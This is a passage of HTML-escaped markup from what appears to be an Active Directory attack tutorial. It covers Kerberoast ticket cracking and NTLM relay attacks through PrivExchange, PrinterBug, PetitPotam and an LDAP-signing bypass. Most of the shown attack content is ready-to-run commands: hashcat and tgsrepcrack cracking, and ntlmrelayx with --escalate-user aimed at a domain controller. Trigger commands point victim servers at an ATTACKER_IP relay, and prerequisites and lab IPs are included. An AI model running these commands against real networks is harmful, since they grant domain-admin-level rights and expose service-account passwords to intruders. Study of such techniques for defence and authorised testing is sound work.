class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-services/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No longer supported? The approach below also works—just convert it for hashcat.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /usr/share/john/kirbi2john.py ticket.kirbi &amp;gt; hash.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashcat -m 13100 hash.txt word.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="3-ntlm-relay"&gt;&lt;a href="#3-ntlm-relay" class="header-anchor"&gt;&lt;/a&gt;3. NTLM Relay&#10;&lt;/h3&gt;&lt;h4 id="1-privexchange"&gt;&lt;a href="#1-privexchange" class="header-anchor"&gt;&lt;/a&gt;(1) Privexchange&#10;&lt;/h4&gt;&lt;p&gt;&lt;a class="link" href="https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/" target="_blank" rel="noopener"&#10; &gt;https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dirkjanm/privexchange/" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/privexchange/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/ridter/exchange2domain" target="_blank" rel="noopener"&#10; &gt;https://github.com/ridter/exchange2domain&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;Exchange server &amp;mdash;-authentication request&amp;mdash;-&amp;gt; our relay server &amp;mdash;-modified and forwarded&amp;mdash;-&amp;gt; domain controller (high privilege) (modified authentication content) (LDAP service)&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;In practice, we set up an NTLM relay. The Exchange server&amp;rsquo;s authentication request passes through our relay, which modifies and forwards it to grant our account DCSync rights.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Requirements:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;● An Exchange server exists and is reachable&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;● A domain user account (must have a mailbox)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ○ A username and password are required&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ○ Or access to a domain user account has already been obtained&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Optional conditions:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;● When operating from a domain-joined host, the current user&amp;#39;s credentials can be used&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;● Domain account credentials are unnecessary if a man-in-the-middle position is available&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Required tools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- ntlmrelayx.py (Impacket toolkit)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- privexchange.py (PrivExchange tool)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Required information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Exchange server IP/hostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Domain controller IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Domain name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Credentials for a domain user with a mailbox&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;There are two possible situations.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Use known domain user credentials directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The user must have a mailbox&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The attack can be initiated externally or internally&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Requires access to the domain network&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Requires a man-in-the-middle position&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Uses another user&amp;#39;s authentication request&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Setup phase&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; User (with a mailbox) -----&amp;gt; Exchange&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Configure a notification to send to http://ATTACKER_IP&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Exchange processing phase&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Exchange ----authentication required----&amp;gt; ATTACKER_IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;I am the Exchange server and I am sending the notification&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Man-in-the-middle operation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Exchange authentication ----relay----&amp;gt; Domain controller LDAP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;Relay Exchange authentication to the domain controller to modify permissions&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="setting-up-the-ntlm-relay"&gt;&lt;a href="#setting-up-the-ntlm-relay" class="header-anchor"&gt;&lt;/a&gt;Setting Up the NTLM Relay:&#10;&lt;/h5&gt;&lt;p&gt;This package is included with impacket.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -t ldap://dc-ip --escalate-user ATTACKER_USER&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntlmrelayx.py -t ldap://192.168.0.111 --escalate-user test1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;This step sets up the &amp;ldquo;man in the middle&amp;rdquo;&lt;/li&gt;&#10;&lt;li&gt;It gets ready to receive Exchange authentication and forward it to the DC&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="triggering-exchange-authentication"&gt;&lt;a href="#triggering-exchange-authentication" class="header-anchor"&gt;&lt;/a&gt;Triggering Exchange Authentication:&#10;&lt;/h5&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/dirkjanm/privexchange/" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/privexchange/&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privexchange.py -ah ATTACKER_IP EXCHANGE_SERVER -u DOMAIN_USER -d DOMAIN_NAME&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privexchange.py -ah 192.168.0.110 exchange01.test.local -u test1 -d test.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;Abuse the PushSubscription feature&lt;/li&gt;&#10;&lt;li&gt;Make the Exchange server authenticate to our relay server&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="2-printerbug-ntlm-authentication"&gt;&lt;a href="#2-printerbug-ntlm-authentication" class="header-anchor"&gt;&lt;/a&gt;(2) Printerbug (NTLM Authentication)&#10;&lt;/h4&gt;&lt;p&gt;This is a protocol design issue, not a vulnerability.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Lab setup:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Environment requirements:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- The Print service is enabled on Windows Server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- The Spooler service is running&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Domain user access (no special privileges required); any user will work&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Checks:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check whether the Print service is running&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service Spooler&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start the service if it is not enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start-Service Spooler&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-Service Spooler -StartupType Automatic&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It is generally enabled by default&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Basic usage&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python printerbug.py DOMAIN_NAME/USERNAME:PASSWORD@TARGET_IP ATTACKER_IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Specific example&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python printerbug.py test.local/TestUser:Password123!@192.168.0.110 192.168.0.103&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t ldaps://192.168.0.110 --escalate-user TestUser&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;test.local -&amp;gt; Domain name&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TestUser -&amp;gt; Username&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password123 -&amp;gt; Password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;192.168.0.111 -&amp;gt; Target IP (DC)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;192.168.0.103 -&amp;gt; Attacker IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="3-petitpotam-ntlm-authentication"&gt;&lt;a href="#3-petitpotam-ntlm-authentication" class="header-anchor"&gt;&lt;/a&gt;(3) PetitPotam (NTLM Authentication)&#10;&lt;/h4&gt;&lt;p&gt;This is affected by CVE-2021-36942.&lt;/p&gt;&#10;&lt;p&gt;The rough range is Windows Server 2008 through 2019.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/topotam/PetitPotam" target="_blank" rel="noopener"&#10; &gt;https://github.com/topotam/PetitPotam&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Environment requirements:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Windows Server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- The MS-EFSRPC service is available&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Domain user access (no special privileges required)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Checks:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check whether the RPC and EFS services are running&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service RpcSs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service EFS&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Attacker host requirements:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Impacket toolkit&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- ntlmrelayx.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Network access to the target&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Target host:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- LDAP is enabled (enabled by default on a DC)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;- Certificate Services (when relaying to AD CS)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Commands:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start the relay&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t ldap://DC-IP --escalate-user USERNAME --no-smb-server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python ntlmrelayx.py -t ldap://192.168.0.110 --escalate-user TestUser --no-smb-server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Trigger authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python PetitPotam.py -d domain -u user -p pass ATTACKER_IP DC-IP&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python PetitPotam.py -d test.local -u TestUser -p Password123! 192.168.0.104 192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="4-relay-ldap-ntlm-relay"&gt;&lt;a href="#4-relay-ldap-ntlm-relay" class="header-anchor"&gt;&lt;/a&gt;(4) Relay LDAP (NTLM Relay)&#10;&lt;/h4&gt;&lt;p&gt;&lt;a class="link" href="https://www.freebuf.com/articles/network/368583.html" target="_blank" rel="noopener"&#10; &gt;https://www.freebuf.com/articles/network/368583.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Relay LDAP (NTLM relay) mainly uses CVE-2019-1040 to bypass LDAP signing.&lt;/p&gt;&#10;&lt;p&gt;The second and third methods trigger authentication; this one uses a vulnerability to create the relay.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span 